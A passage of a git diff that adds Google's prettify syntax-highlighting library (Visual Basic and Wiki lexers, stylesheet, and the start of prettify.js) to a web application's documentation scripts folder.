http://msdn.microsoft.com/en-us/library/aa711638(VS.71).aspx defines the + * visual basic grammar lexical grammar. + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // Whitespace + [PR.PR_PLAIN, /^[\t\n\r \xA0\u2028\u2029]+/, null, '\t\n\r \xA0\u2028\u2029'], + // A double quoted string with quotes escaped by doubling them. + // A single character can be suffixed with C. + [PR.PR_STRING, /^(?:[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})(?:[\"\u201C\u201D]c|$)|[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})*(?:[\"\u201C\u201D]|$))/i, null, + '"\u201C\u201D'], + // A comment starts with a single quote and runs until the end of the + // line. + [PR.PR_COMMENT, /^[\'\u2018\u2019][^\r\n\u2028\u2029]*/, null, '\'\u2018\u2019'] + ], + [ + [PR.PR_KEYWORD, /^(?:AddHandler|AddressOf|Alias|And|AndAlso|Ansi|As|Assembly|Auto|Boolean|ByRef|Byte|ByVal|Call|Case|Catch|CBool|CByte|CChar|CDate|CDbl|CDec|Char|CInt|Class|CLng|CObj|Const|CShort|CSng|CStr|CType|Date|Decimal|Declare|Default|Delegate|Dim|DirectCast|Do|Double|Each|Else|ElseIf|End|EndIf|Enum|Erase|Error|Event|Exit|Finally|For|Friend|Function|Get|GetType|GoSub|GoTo|Handles|If|Implements|Imports|In|Inherits|Integer|Interface|Is|Let|Lib|Like|Long|Loop|Me|Mod|Module|MustInherit|MustOverride|MyBase|MyClass|Namespace|New|Next|Not|NotInheritable|NotOverridable|Object|On|Option|Optional|Or|OrElse|Overloads|Overridable|Overrides|ParamArray|Preserve|Private|Property|Protected|Public|RaiseEvent|ReadOnly|ReDim|RemoveHandler|Resume|Return|Select|Set|Shadows|Shared|Short|Single|Static|Step|Stop|String|Structure|Sub|SyncLock|Then|Throw|To|Try|TypeOf|Unicode|Until|Variant|Wend|When|While|With|WithEvents|WriteOnly|Xor|EndIf|GoSub|Let|Variant|Wend)\b/i, null], + // A second comment form + [PR.PR_COMMENT, /^REM[^\r\n\u2028\u2029]*/i], + // A boolean, numeric, or date literal. + [PR.PR_LITERAL, + /^(?:True\b|False\b|Nothing\b|\d+(?:E[+\-]?\d+[FRD]?|[FRDSIL])?|(?:&H[0-9A-F]+|&O[0-7]+)[SIL]?|\d*\.\d+(?:E[+\-]?\d+)?[FRD]?|#\s+(?:\d+[\-\/]\d+[\-\/]\d+(?:\s+\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)?|\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)\s+#)/i], + // An identifier? + [PR.PR_PLAIN, /^(?:(?:[a-z]|_\w)\w*|\[(?:[a-z]|_\w)\w*\])/i], + // A run of punctuation + [PR.PR_PUNCTUATION, + /^[^\w\t\n\r \"\'\[\]\xA0\u2018\u2019\u201C\u201D\u2028\u2029]+/], + // Square brackets + [PR.PR_PUNCTUATION, /^(?:\[|\])/] + ]), + ['vb', 'vbs']); diff --git a/src/main/webapp/monitoramento/docs/scripts/lang-wiki.js b/src/main/webapp/monitoramento/docs/scripts/lang-wiki.js new file mode 100644 index 0000000..d4aa350 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/lang-wiki.js @@ -0,0 +1,53 @@ +// Copyright (C) 2009 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + +/** + * @fileoverview + * Registers a language handler for Wiki pages. + * + * Based on WikiSyntax at http://code.google.com/p/support/wiki/WikiSyntax + * + * @author mikesamuel@gmail.com + */ + +PR.registerLangHandler( + PR.createSimpleLexer( + [ + // Whitespace + [PR.PR_PLAIN, /^[\t \xA0a-gi-z0-9]+/, null, + '\t \xA0abcdefgijklmnopqrstuvwxyz0123456789'], + // Wiki formatting + [PR.PR_PUNCTUATION, /^[=*~\^\[\]]+/, null, '=*~^[]'] + ], + [ + // Meta-info like #summary, #labels, etc. + ['lang-wiki.meta', /(?:^^|\r\n?|\n)(#[a-z]+)\b/], + // A WikiWord + [PR.PR_LITERAL, /^(?:[A-Z][a-z][a-z0-9]+[A-Z][a-z][a-zA-Z0-9]+)\b/ + ], + // A preformatted block in an unknown language + ['lang-', /^\{\{\{([\s\S]+?)\}\}\}/], + // A block of source code in an unknown language + ['lang-', /^`([^\r\n`]+)`/], + // An inline URL. + [PR.PR_STRING, + /^https?:\/\/[^\/?#\s]*(?:\/[^?#\s]*)?(?:\?[^#\s]*)?(?:#\S*)?/i], + [PR.PR_PLAIN, /^(?:\r\n|[\s\S])[^#=*~^A-Zh\{`\[\r\n]*/] + ]), + ['wiki']); + +PR.registerLangHandler( + PR.createSimpleLexer([[PR.PR_KEYWORD, /^#[a-z]+/i, null, '#']], []), + ['wiki.meta']); diff --git a/src/main/webapp/monitoramento/docs/scripts/prettify.css b/src/main/webapp/monitoramento/docs/scripts/prettify.css new file mode 100644 index 0000000..351152b --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/prettify.css @@ -0,0 +1,27 @@ +/* Pretty printing styles. Used with prettify.js. */ + +.str { color: #080; } +.kwd { color: #008; } +.com { color: #800; } +.typ { color: #606; } +.lit { color: #066; } +.pun { color: #660; } +.pln { color: #000; } +.tag { color: #008; } +.atn { color: #606; } +.atv { color: #080; } +.dec { color: #606; } +pre.prettyprint { padding: 2px; border: 1px solid #888; } + +@media print { + .str { color: #060; } + .kwd { color: #006; font-weight: bold; } + .com { color: #600; font-style: italic; } + .typ { color: #404; font-weight: bold; } + .lit { color: #044; } + .pun { color: #440; } + .pln { color: #000; } + .tag { color: #006; font-weight: bold; } + .atn { color: #404; } + .atv { color: #060; } +} diff --git a/src/main/webapp/monitoramento/docs/scripts/prettify.js b/src/main/webapp/monitoramento/docs/scripts/prettify.js new file mode 100644 index 0000000..09d6394 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/scripts/prettify.js @@ -0,0 +1,1478 @@ +// Copyright (C) 2006 Google Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + + +/** + * @fileoverview + * some functions for browser-side pretty printing of code contained in html. + * <p> + * + * For a fairly comprehensive set of languages see the + * <a href="http://google-code-prettify.googlecode.com/svn/trunk/README.html#langs">README</a> + * file that came with this source. At a minimum, the lexer should work on a + * number of languages including C and friends, Java, Python, Bash, SQL, HTML, + * XML, CSS, Javascript, and Makefiles. It works passably on Ruby, PHP and Awk + * and a subset of Perl, but, because of commenting conventions, doesn't work on + * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class. + * <p> + * Usage: <ol> + * <li> include this source file in an html page via + * {@code <script type="text/javascript" src="/path/to/prettify.js"></script>} + * <li> define style rules. See the example page for examples. + * <li> mark the {@code <pre>} and {@code <code>} tags in your source with + * {@code class=prettyprint.} + * You can also use the (html deprecated) {@code <xmp>} tag, but the pretty + * printer needs to do more substantial DOM manipulations to support that, so + * some css styles may not be preserved. + * </ol> + * That's it. I wanted to keep the API as simple as possible, so there's no + * need to specify which language the code is in, but if you wish, you can add + * another class to the {@code <pre>} or {@code <code>} element to specify the + * language, as in {@code <pre class="prettyprint lang-java">}. Any class that + * starts with "lang-" followed by a file extension, specifies the file type. + * See the "lang-*.js" files in this directory for code that implements + * per-language file handlers. + * <p> + * Change log:<br> + * cbeust, 2006/08/22 + * <blockquote> + * Java annotations (start with "@") are now captured as literals ("lit") + * </blockquote> + * @requires console + * @overrides window + */ + +// JSLint declarations +/*global console, document, navigator, setTimeout, window */ + +/** + * Split {@code prettyPrint} into multiple timeouts so as not to interfere with + * UI events. + * If set to {@code false}, {@code prettyPrint()} is synchronous. + */ +window['PR_SHOULD_USE_CONTINUATION'] = true; + +/** the number of characters between tab columns */ +window['PR_TAB_WIDTH'] = 8; + +/** Walks the DOM returning a properly escaped version of innerHTML. + * @param {Node} node + * @param {Array.<string>} out output buffer that receives chunks of HTML. + */ +window['PR_normalizedHtml'] + +/** Contains functions for creating and registering new language handlers. + * @type {Object} + */ + = window['PR'] + +/** Pretty print a chunk of code. + * + * @param {string} sourceCodeHtml code as html + * @return {string} code as html, but prettier + */ + = window['prettyPrintOne'] +/** Find all the {@code <pre>} and {@code <code>} tags in the DOM with + * {@code class=prettyprint} and prettify them. + * @param {Function?} opt_whenDone if specified, called when the last entry + * has been finished. + */ + = window['prettyPrint'] = void 0; + +/** browser detection. @extern @returns false if not IE, otherwise the major version. */ +window['_pr_isIE6'] = function () { + var ieVersion = navigator && navigator.userAgent && + navigator.userAgent.match(/\bMSIE ([678])\./); + ieVersion = ieVersion ? +ieVersion[1] : false; + window['_pr_isIE6'] = function () { return ieVersion; }; + return ieVersion; +}; + + +(function () { + // Keyword lists for various languages. + var FLOW_CONTROL_KEYWORDS = + "break continue do else for if return while "; + var C_KEYWORDS = FLOW_CONTROL_KEYWORDS + "auto case char const default " + + "double enum extern float goto int long register short signed sizeof " + + "static struct switch typedef union unsigned void volatile "; + var COMMON_KEYWORDS = C_KEYWORDS + "catch class delete false import " + + "new operator private protected public this throw true try typeof "; + var CPP_KEYWORDS = COMMON_KEYWORDS + "alignof align_union asm axiom bool " + + "concept concept_map const_cast constexpr decltype " + + "dynamic_cast explicit export friend inline late_check " + + "mutable namespace nullptr reinterpret_cast static_assert static_cast " + + "template typeid typename using virtual wchar_t where "; + var JAVA_KEYWORDS = COMMON_KEYWORDS + + "abstract boolean byte extends final finally implements import " + + "instanceof null native package strictfp super synchronized throws " + + "transient "; + var CSHARP_KEYWORDS = JAVA_KEYWORDS + + "as base by checked decimal delegate descending event " + + "fixed foreach from group implicit in interface internal into is lock " + + "object out override orderby params partial readonly ref sbyte sealed " + + "stackalloc string select uint ulong unchecked unsafe ushort var "; + var JSCRIPT_KEYWORDS = COMMON_KEYWORDS + + "debugger eval export function get null set undefined var with " + + "Infinity NaN "; + var PERL_KEYWORDS = "caller delete die do dump elsif eval exit foreach for " + + "goto if import last local my next no our print package redo require " + + "sub undef unless until use wantarray while BEGIN END "; + var PYTHON_KEYWORDS = FLOW_CONTROL_KEYWORDS + "and as assert class def del " + + "elif except exec finally from global import in is lambda " + + "nonlocal not or pass print raise try with yield " + + "False True None "; + var RUBY_KEYWORDS = FLOW_CONTROL_KEYWORDS + "alias and begin case class def" + + " defined elsif end ensure false in module next nil not or redo rescue " + + "retry self super then true undef unless until when yield BEGIN END "; + var SH_KEYWORDS = FLOW_CONTROL_KEYWORDS + "case done elif esac eval fi " + + "function in local set then until "; + var ALL_KEYWORDS = ( + CPP_KEYWORDS + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + + PYTHON_KEYWORDS + RUBY_KEYWORDS + SH_KEYWORDS); + + // token style names. correspond to css classes + /** token style for a string literal */ + var PR_STRING = 'str'; + /** token style for a keyword */ + var PR_KEYWORD = 'kwd'; + /** token style for a comment */ + var PR_COMMENT = 'com'; + /** token style for a type */ + var PR_TYPE = 'typ'; + /** token style for a literal value. e.g. 1, null, true. */ + var PR_LITERAL = 'lit'; + /** token style for a punctuation string. */ + var PR_PUNCTUATION = 'pun'; + /** token style for a punctuation string. */ + var PR_PLAIN = 'pln'; + + /** token style for an sgml tag. */ + var PR_TAG = 'tag'; + /** token style for a markup declaration such as a DOCTYPE. */ + var PR_DECLARATION = 'dec'; + /** token style for embedded source. */ + var PR_SOURCE = 'src'; + /** token style for an sgml attribute name. */ + var PR_ATTRIB_NAME = 'atn'; + /** token style for an sgml attribute value. */ + var PR_ATTRIB_VALUE = 'atv'; + + /** + * A class that indicates a section of markup that is not code, e.g. to allow + * embedding of line numbers within code listings. + */ + var PR_NOCODE = 'nocode'; + + /** A set of tokens that can precede a regular expression literal in + * javascript. + * http://www.mozilla.org/js/language/js20/rationale/syntax.html has the full + * list, but I've removed ones that might be problematic when seen in + * languages that don't support regular expression literals. + * + * <p>Specifically, I've removed any keywords that can't precede a regexp + * literal in a syntactically legal javascript program, and I've removed the + * "in" keyword since it's not a keyword in many languages, and might be used + * as a count of inches. + * + * <p>The link a above does not accurately describe EcmaScript rules since + * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works + * very well in practice. + * + * @private + */ + var REGEXP_PRECEDER_PATTERN = function () { + var preceders = [ + "!", "!=", "!==", "#", "%", "%=", "&", "&&", "&&=", + "&=", "(", "*", "*=", /* "+", */ "+=", ",", /* "-", */ "-=", + "->", /*".", "..", "...", handled below */ "/", "/=", ":", "::", ";", + "<", "<<", "<<=", "<=", "=", "==", "===", ">", + ">=", ">>", ">>=", ">>>", ">>>=", "?", "@", "[", + "^", "^=", "^^", "^^=", "{", "|", "|=", "||", + "||=", "~" /* handles =~ and !~ */, + "break", "case", "continue", "delete", + "do", "else", "finally", "instanceof", + "return", "throw", "try", "typeof" + ]; + var pattern = '(?:^^|[+-]'; + for (var i = 0; i < preceders.length; ++i) { + pattern += '|' + preceders[i].replace(/([^=<>:&a-z])/g, '\\$1'); + } + pattern += ')\\s*'; // matches at end, and matches empty string + return pattern; + // CAVEAT: this does not properly handle the case where a regular + // expression immediately follows another since a regular expression may + // have flags for case-sensitivity and the like. Having regexp tokens + // adjacent is not valid in any language I'm aware of, so I'm punting. + // TODO: maybe style special characters inside a regexp as punctuation. + }(); + + // Define regexps here so that the interpreter doesn't have to create an + // object each time the function containing them is called. + // The language spec requires a new object created even if you don't access + // the $1 members. + var pr_amp = /&/g; + var pr_lt = /</g; + var pr_gt = />/g; + var pr_quot = /\"/g; + /** like textToHtml but escapes double quotes to be attribute safe. */ + function attribToHtml(str) { + return str.replace(pr_amp, '&') + .replace(pr_lt, '<') + .replace(pr_gt, '>') + .replace(pr_quot, '"'); + } + + /** escapest html special characters to html. */ + function textToHtml(str) { + return str.replace(pr_amp, '&') + .replace(pr_lt, '<') + .replace(pr_gt, '>'); + } + + + var pr_ltEnt = /</g; + var pr_gtEnt = />/g; + var pr_aposEnt = /'/g; + var pr_quotEnt = /"/g; + var pr_ampEnt = /&/g; + var pr_nbspEnt = / /g; + /** unescapes html to plain text. */ + function htmlToText(html) { + var pos = html.indexOf('&'); + if (pos < 0) { return html; } + // Handle numeric entities specially. We can't use functional substitution + // since that doesn't work in older versions of Safari. + // These should be rare since most browsers convert them to normal chars. + for (--pos; (pos = html.indexOf('&#', pos + 1)) >= 0;) { + var end = html.indexOf(';', pos); + if (end >= 0) { + var num = html.substring(pos + 3, end); + var radix = 10; + if (num && num.charAt(0) === 'x') { + num = num.substring(1); + radix = 16; + } + var codePoint = parseInt(num, radix); + if (!isNaN(codePoint)) { + html = (html.substring(0, pos) + String.fromCharCode(codePoint) + + html.substring(end + 1)); + } + } + } + + return html.replace(pr_ltEnt, '<') + .replace(pr_gtEnt, '>') + .replace(pr_aposEnt, "'") + .replace(pr_quotEnt, '"') + .replace(pr_nbspEnt, ' ') + .replace(pr_ampEnt, '&'); + } + + /** is the given node's innerHTML normally unescaped? */ + function isRawContent(node) { + return 'XMP' === node.tagName; + } + + var newlineRe = /[\r\n]/g; + /** + * Are newlines and adjacent spaces significant in the given node's innerHTML? + */ + function isPreformatted(node, content) { + // PRE means preformatted, and is a very common case, so don't create + // unnecessary computed style objects. + if ('PRE' === node.tagName) { return true; } + if (!newlineRe.test(content)) { return true; } // Don't care + var whitespace = ''; + // For disconnected nodes, IE has no currentStyle. + if (node.currentStyle) { + whitespace = node.currentStyle.whiteSpace; + } else if (window.getComputedStyle) { + // Firefox makes a best guess if node is disconnected whereas Safari + // returns the empty string. + whitespace = window.getComputedStyle(node, null).whiteSpace; + } + return !whitespace || whitespace === 'pre'; + } + + function normalizedHtml(node, out) { + switch (node.nodeType) { + case 1: // an element + var name = node.tagName.toLowerCase(); + out.push('<', name); + for (var i = 0; i < node.attributes.length; ++i) { + var attr = node.attributes[i]; + if (!attr.specified) { continue; } + out.push(' '); + normalizedHtml(attr, out); + } + out.push('>'); + for (var child = node.firstChild; child; child = child.nextSibling) { + normalizedHtml(child, out); + } + if (node.firstChild || !/^(?:br|link|img)$/.test(name)) { + out.push('<\/', name, '>'); + } + break; + case 2: // an attribute + out.push(node.name.toLowerCase(), '="', attribToHtml(node.value), '"'); + break; + case 3: case 4: // text + out.push(textToHtml(node.nodeValue)); + break; + } + } + + /** + * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally + * matches the union o the sets o strings matched d by the input RegExp. + * Since it matches globally, if the input strings have a start-of-input + * anchor (/^.../), it is ignored for the purposes of unioning. + * @param {Array.<RegExp>} regexs non multiline, non-global regexs. + * @return {RegExp} a global regex. + */ + function combinePrefixPatterns(regexs) { + var capturedGroupIndex = 0; + + var needToFoldCase = false; + var ignoreCase = false; + for (var i = 0, n = regexs.length; i < n; ++i) { + var regex = regexs[i]; + if (regex.ignoreCase) { + ignoreCase = true; + } else if (/[a-z]/i.test(regex.source.replace( + /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) { + needToFoldCase = true; + ignoreCase = false; + break; + } + } + + function decodeEscape(charsetPart) { + if (charsetPart.charAt(0) !== '\\') { return charsetPart.charCodeAt(0); } + switch (charsetPart.charAt(1)) { + case 'b': return 8; + case 't': return 9; + case 'n': return 0xa; + case 'v': return 0xb; + case 'f': return 0xc; + case 'r': return 0xd; + case 'u': case 'x': + return parseInt(charsetPart.substring(2), 16) + || charsetPart.charCodeAt(1); + case '0': case '1': case '2': case '3': case '4': + case '5': case '6': case '7': + return parseInt(charsetPart.substring(1), 8); + default: return charsetPart.charCodeAt(1); + } + } + + function encodeEscape(charCode) { + if (charCode < 0x20) { + return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16); + } + var ch = String.fromCharCode(charCode); + if (ch === '\\' || ch === '-' || ch === '[' || ch === ']') { + ch = '\\' + ch; + } + return ch; + } + + function caseFoldCharset(charSet) { + var charsetParts = charSet.substring(1, charSet.length - 1).match( + new RegExp( + '\\\\u[0-9A-Fa-f]{4}' + + '|\\\\x[0-9A-Fa-f]{2}' + + '|\\\\[0-3][0-7]{0,2}' + + '|\\\\[0-7]{1,2}' + + '|\\\\[\\s\\S]' + + '|-' + + '|[^-\\\\]', + 'g')); + var groups = []; + var ranges = []; + var inverse = charsetParts[0] === '^'; + for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) { + var p = charsetParts[i]; + switch (p) { + case '\\B': case '\\b': + case '\\D': case '\\d': + case '\\S': case '\\s': + case '\\W': case '\\w': + groups.push(p); + continue; + } + var start = decodeEscape(p); + var end; + if (i + 2 < n && '-' === charsetParts[i + 1]) { + end = decodeEscape(charsetParts[i + 2]); + i += 2; + } else { + end = start; + } + ranges.push([start, end]); + // If the range might intersect letters, then expand it. + if (!(end < 65 || start > 122)) { + if (!(end < 65 || start > 90)) { + ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]); + } + if (!(end < 97 || start > 122)) { + ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]); + } + } + } + + // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]] + // -> [[1, 12], [14, 14], [16, 17]] + ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1] - a[1]); }); + var consolidatedRanges = []; + var lastRange = [NaN, NaN]; + for (var i = 0; i < ranges.length; ++i) { + var range = ranges[i]; + if (range[0] <= lastRange[1] + 1) { + lastRange[1] = Math.max(lastRange[1], range[1]); + } else { + consolidatedRanges.push(lastRange = range); + } + } + + var out = ['[']; + if (inverse) { out.push('^'); } + out.push.apply(out, groups); + for (var i = 0; i < consolidatedRanges.length; ++i) { + var range = consolidatedRanges[i]; + out.push(encodeEscape(range[0])); + if (range[1] > range[0]) { + if (range[1] + 1 > range[0]) { out.push('-'); } + out.push(encodeEscape(range[1])); + } + } + out.push(']'); + return out.join(''); + } + + function allowAnywhereFoldCaseAndRenumberGroups(regex) { + // Split into character sets, escape sequences, punctuation strings + // like ('(', '(?:', ')', '^'), and runs of characters that do not + // include any of the above. + var parts = regex.source.match( + new RegExp( + '(?:' + + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]' // a character set + + '|\\\\u[A-Fa-f0-9]{4}' // a unicode escape + + '|\\\\x[A-Fa-f0-9]{2}' // a hex escape + + '|\\\\[0-9]+' // a back-reference or octal escape + + '|\\\\[^ux0-9]' // other escape sequence + + '|\\(\\?[:!=]' // start of a non-capturing group + + '|[\\(\\)\\^]' // start/emd of a group, or line start + + '|[^\\x5B\\x5C\\(\\)\\^]+' // run of other characters + + ')', + 'g')); + var n = parts.length; + + // Maps captured group numbers to the number they will occupy in + // the output or to -1 if that has not been determined, or to + // undefined if they need not be capturing in the output. + var capturedGroups = []; + + // Walk over and identify back references to build the capturedGroups + // mapping. + for (var i = 0, groupIndex = 0; i < n; ++i) { + var p = parts[i]; + if (p === '(') { + // groups are 1-indexed, so max group index is count of '(' + ++groupIndex; + } else if ('\\' === p.charAt(0)) { + var decimalValue = +p.substring(1); + if (decimalValue && decimalValue <= groupIndex) { + capturedGroups[decimalValue] = -1; + } + } + } + + // Renumber groups and reduce capturing groups to non-capturing groups + // where possible. + for (var i = 1; i < capturedGroups.length; ++i) { + if (-1 === capturedGroups[i]) { + capturedGroups[i] = ++capturedGroupIndex; + } + } + for (var i = 0, groupIndex = 0; i < n; ++i) { + var p = parts[i]; + if (p === '(') { + ++groupIndex; + if (capturedGroups[groupIndex] === undefined) { + parts[i] = '(?:'; + } + } else if ('\\' === p.charAt(0)) { + var decimalValue = +p.substring(1); + if (decimalValue && decimalValue <= groupIndex) { + parts[i] = '\\' + capturedGroups[groupIndex]; + } + } + } + + // Remove any prefix anchors so that the output will match anywhere. + // ^^ really does mean an anchored match though. + for (var i = 0, groupIndex = 0; i < n; ++i) { + if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; } + } + + // Expand letters to groupts to handle mixing of case-sensitive and + // case-insensitive patterns if necessary. + if (regex.ignoreCase && needToFoldCase) { + for (var i = 0; i < n; ++i) { + var p = parts[i]; + var ch0 = p.charAt(0); + if (p.length >= 2 && ch0 === '[') { + parts[i] = caseFoldCharset(p); + } else if (ch0 !== '\\') { + // TODO: handle letters in numeric escapes. + parts[i] = p.replace( + /[a-zA-Z]/g, + function (ch) { + var cc = ch.charCodeAt(0); + return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']'; + }); + } + } + } + + return parts.join(''); + } + + var rewritten = []; + for (var i = 0, n = regexs.length; i < n; ++i) { + var regex = regexs[i]; + if (regex.global || regex.multiline) { throw new Error('' + regex); } + rewritten.push( + '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')'); + } + + return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g'); + } + + var PR_innerHtmlWorks = null; + function getInnerHtml(node) { + // inner html is hopelessly broken in Safari 2.0.4 when the content is + // an html description of well formed XML and the containing tag is a PRE + // tag, so we detect that case and emulate innerHTML. + if (null === PR_innerHtmlWorks) { + var testNode = document.createElement('PRE'); + testNode.appendChild( + document.createTextNode('<!DOCTYPE foo PUBLIC "foo bar">\n<foo />')); + PR_innerHtmlWorks = !/</.test(testNode.innerHTML); + } + + if (PR_innerHtmlWorks) { + var content = node.innerHTML; + // XMP tags contain unescaped entities so require special handling. + if (isRawContent(node)) { + content = textToHtml(content); + } else if (!isPreformatted(node, content)) { + content = content.replace(/(<br\s*\/?>)[\r\n]+/g, '$1') + .replace(/(?:[\r\n]+[ \t]*)+/g, ' '); + } + return content; + } + + var out = []; + for (var child = node.firstChild; child; child = child.nextSibling) { + normalizedHtml(child, out); + } + return out.join(''); + } + + /** returns a function that expand tabs to spaces. This function can be fed + * successive chunks of text, and will maintain its own internal state to + * keep track of how tabs are expanded. + * @return {function (string) : string} a function that takes + * plain text and return the text with tabs expanded. + * @private + */ + function makeTabExpander(tabWidth) { + var SPACES = ' '; + var charInLine = 0; + + return function (plainText) { + // walk over each character looking for tabs and newlines. + // On tabs, expand them. On newlines, reset charInLine. + // Otherwise increment charInLine + var out = null; + var pos = 0; + for (var i = 0, n = plainText.length; i < n; ++i) { + var ch = plainText.charAt(i); + + switch (ch) { + case '\t': + if (!out) { out = []; } + out.push(plainText.substring(pos, i)); + // calculate how much space we need in front of this part + // nSpaces is the amount of padding -- the number of spaces needed + // to move us to the next column, where columns occur at factors of + // tabWidth. + var nSpaces = tabWidth - (charInLine % tabWidth); + charInLine += nSpaces; + for (; nSpaces >= 0; nSpaces -= SPACES.length) { + out.push(SPACES.substring(0, nSpaces)); + } + pos = i + 1; + break; + case '\n': + charInLine = 0; + break; + default: + ++charInLine; + } + } + if (!out) { return plainText; } + out.push(plainText.substring(pos)); + return out.join(''); + }; + } + + var pr_chunkPattern = new RegExp( + '[^<]+' // A run of characters other than '<' + + '|<\!--[\\s\\S]*?--\>' // an HTML comment + + '|<!\\[CDATA\\[[\\s\\S]*?\\]\\]>' // a CDATA section + // a probable tag that should not be highlighted + + '|<\/?[a-zA-Z](?:[^>\"\']|\'[^\']*\'|\"[^\"]*\")*>' + + '|<', // A '<' that does not begin a larger chunk + 'g'); + var pr_commentPrefix = /^<\!--/; + var pr_cdataPrefix = /^<!\[CDATA\[/; + var pr_brPrefix = /^<br\b/i; + var pr_tagNameRe = /^<(\/?)([a-zA-Z][a-zA-Z0-9]*)/; + + /** split markup into chunks of html tags (style null) and + * plain text (style {@link #PR_PLAIN}), converting tags which are + * significant for tokenization (<br>) into their textual equivalent. + * + * @param {string} s html where whitespace is considered significant. + * @return {Object} source code and extracted tags. + * @private + */ + function extractTags(s) { + // since the pattern has the 'g' modifier and defines no capturing groups, + // this will return a list of all chunks which we then classify and wrap as + // PR_Tokens + var matches = s.match(pr_chunkPattern); + var sourceBuf = []; + var sourceBufLen = 0; + var extractedTags = []; + if (matches) { + for (var i = 0, n = matches.length; i < n; ++i) { + var match = matches[i]; + if (match.length > 1 && match.charAt(0) === '<') { + if (pr_commentPrefix.test(match)) { continue; } + if (pr_cdataPrefix.test(match)) { + // strip CDATA prefix and suffix. Don't unescape since it's CDATA + sourceBuf.push(match.substring(9, match.length - 3)); + sourceBufLen += match.length - 12; + } else if (pr_brPrefix.test(match)) { + // <br> tags are lexically significant so convert them to text. + // This is undone later. + sourceBuf.push('\n'); + ++sourceBufLen; + } else { + if (match.indexOf(PR_NOCODE) >= 0 && isNoCodeTag(match)) { + // A <span class="nocode"> will start a section that should be + // ignored. Continue walking the list until we see a matching end + // tag. + var name = match.match(pr_tagNameRe)[2]; + var depth = 1; + var j; + end_tag_loop: + for (j = i + 1; j < n; ++j) { + var name2 = matches[j].match(pr_tagNameRe); + if (name2 && name2[2] === name) { + if (name2[1] === '/') { + if (--depth === 0) { break end_tag_loop; } + } else { + ++depth; + } + } + } + if (j < n) { + extractedTags.push( + sourceBufLen, matches.slice(i, j + 1).join('')); + i = j; + } else { // Ignore unclosed sections. + extractedTags.push(sourceBufLen, match); + } + } else { + extractedTags.push(sourceBufLen, match); + } + } + } else { + var literalText = htmlToText(match); + sourceBuf.push(literalText); + sourceBufLen += literalText.length; + } + } + } + return { source: sourceBuf.join(''), tags: extractedTags }; + } + + /** True if the given tag contains a class attribute with the nocode class. */ + function isNoCodeTag(tag) { + return !!tag + // First canonicalize the representation of attributes + .replace(/\s(\w+)\s*=\s*(?:\"([^\"]*)\"|'([^\']*)'|(\S+))/g, + ' $1="$2$3$4"') + // Then look for the attribute we want. + .match(/[cC][lL][aA][sS][sS]=\"[^\"]*\bnocode\b/); + } + + /** + * Apply the given language handler to sourceCode and add the resulting + * decorations to out. + * @param {number} basePos the index of sourceCode within the chunk of source + * whose decorations are already present on out. + */ + function appendDecorations(basePos, sourceCode, langHandler, out) { + if (!sourceCode) { return; } + var job = { + source: sourceCode, + basePos: basePos + }; + langHandler(job); + out.push.apply(out, job.decorations); + } + + /** Given triples of [style, pattern, context] returns a lexing function, + * The lexing function interprets the patterns to find token boundaries and + * returns a decoration list of the form + * [index_0, style_0, index_1, style_1, ..., index_n, style_n] + * where index_n is an index into the sourceCode, and style_n is a style + * constant like PR_PLAIN. index_n-1 <= index_n, and style_n-1 applies to + * all characters in sourceCode[index_n-1:index_n]. + * + * The stylePatterns is a list whose elements have the form + * [style : string, pattern : RegExp, DEPRECATED, shortcut : string]. + * + * Style is a style constant like PR_PLAIN, or can be a string of the + * form 'lang-FOO', where FOO is a language extension describing the + * language of the portion of the token in $1 after pattern executes. + * E.g., if style is 'lang-lisp', and group 1 contains the text + * '(hello (world))', then that portion of the token will be passed to the + * registered lisp handler for formatting. + * The text before and after group 1 will be restyled using this decorator + * so decorators should take care that this doesn't result in infinite + * recursion. For example, the HTML lexer rule for SCRIPT elements looks + * something like ['lang-js', /<[s]cript>(.+?)<\/script>/]. This may match + * '<script>foo()<\/script>', which would cause the current decorator to + * be called with '<script>' which would not match the same rule since + * group 1 must not be empty, so it would be instead styled as PR_TAG by + * the generic tag rule. The handler registered for the 'js' extension would + * then be called with 'foo()', and finally, the current decorator would + * be called with '<\/script>' which would not match the original rule and + * so the generic tag rule would identify it as a tag. + * + * Pattern must only match prefixes, and if it matches a prefix, then that + * match is considered a token with the 